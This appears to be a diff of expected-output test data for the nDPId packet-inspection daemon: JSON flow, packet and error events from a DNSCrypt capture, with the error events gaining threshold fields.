AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":527,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":212,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396111010,"flow_src_last_pkt_time":946739396111010,"flow_dst_last_pkt_time":946739396111010,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396111010,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":55185,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":528,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396111023} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396111023,"packet_id":528,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396111023} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":528,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396111010,"pkt":"REREREREZmZmZmZmCABFAABQKekAuX4RrHIKAAABa6o5IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":529,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":213,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396111084,"flow_src_last_pkt_time":946739396111084,"flow_dst_last_pkt_time":946739396111084,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396111084,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":36335,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_src_last_pkt_time":946739396111084,"flow_dst_last_pkt_time":946739396111084,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739396111084,"pkt":"REREREREZmZmZmZmCABFAAIcKepAAH4Ra14KAAABa6o5Io3vAbsCCGeisy8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -1224,9 +1106,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":532,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":216,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396111164,"flow_src_last_pkt_time":946739396111164,"flow_dst_last_pkt_time":946739396111164,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396111164,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":42141,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_src_last_pkt_time":946739396111164,"flow_dst_last_pkt_time":946739396111164,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396111164,"pkt":"REREREREZmZmZmZmCABFAAXcKe0gAH4Rh5sKAAABa6o5IqSdAbsGBBZ5szABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":532,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":216,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396111164,"flow_src_last_pkt_time":946739396111164,"flow_dst_last_pkt_time":946739396111164,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396111164,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":42141,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":533,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396111169} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396111169,"packet_id":533,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396111169} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":533,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396111164,"pkt":"REREREREZmZmZmZmCABFAABQKewAuX4RrG8KAAABa6o5IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":534,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396111181} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396111181,"packet_id":534,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396111181} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":534,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396111164,"pkt":"REREREREZmZmZmZmCABFAABQKe0AuX4RrG4KAAABa6o5IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00769{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":2,"flow_src_last_pkt_time":946739396070559,"flow_dst_last_pkt_time":946739396113592,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739396113592,"pkt":"ZmZmZmZmRERERERECABFAADWzDBAADcRvw8u48g3CgAAASD7wBkAwtmiFc+AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} 00775{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":2,"flow_src_last_pkt_time":946739396111009,"flow_dst_last_pkt_time":946739396210662,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"thread_ts_usec":946739396210662,"pkt":"ZmZmZmZmRERERERECABFAADcvzUAADQRYVNrqjkiCgAAAQG71GcAyMwVszGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAcAMABAAAQAAAAAAfXxETlNDAAIAAI\/a1gzqXBRkeMMNLdByUsrCAeXq9pAoSIZvWZO078wHKN5t9zokYno4cH1X8DUwDBTmKYZNXI496f2ZPTyfGw7EiDsrhQ4a28OXE48fibQ4VcAHxN0Yn+p8BQ7Bz9i\/KcWIOyuFDhrbX1Oowl9TqMJfVPpC"} @@ -1247,7 +1129,7 @@ 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":545,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":220,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400460524,"flow_src_last_pkt_time":946739400460524,"flow_dst_last_pkt_time":946739400460524,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400460524,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":54920,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02486{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_src_last_pkt_time":946739400460524,"flow_dst_last_pkt_time":946739400460524,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739400460524,"pkt":"REREREREZmZmZmZmCABFAAXcPTYgAH4R32gKAAABucF\/9NaIAbsGBKQ8\/IwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":545,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":220,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400460524,"flow_src_last_pkt_time":946739400460524,"flow_dst_last_pkt_time":946739400460524,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400460524,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":54920,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":546,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400460543} +00328{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739400460543,"packet_id":546,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739400460543} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":546,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739400460524,"pkt":"REREREREZmZmZmZmCABFAABQPTYAuX4RBDwKAAABucF\/9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":547,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":221,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739400460550,"flow_src_last_pkt_time":946739400460550,"flow_dst_last_pkt_time":946739400460550,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739400460550,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.193.127.244","src_port":46314,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02486{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_src_last_pkt_time":946739400460550,"flow_dst_last_pkt_time":946739400460550,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739400460550,"pkt":"REREREREZmZmZmZmCABFAAXcPTggAH4R32YKAAABucF\/9LTqAbsGBMXY\/I4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA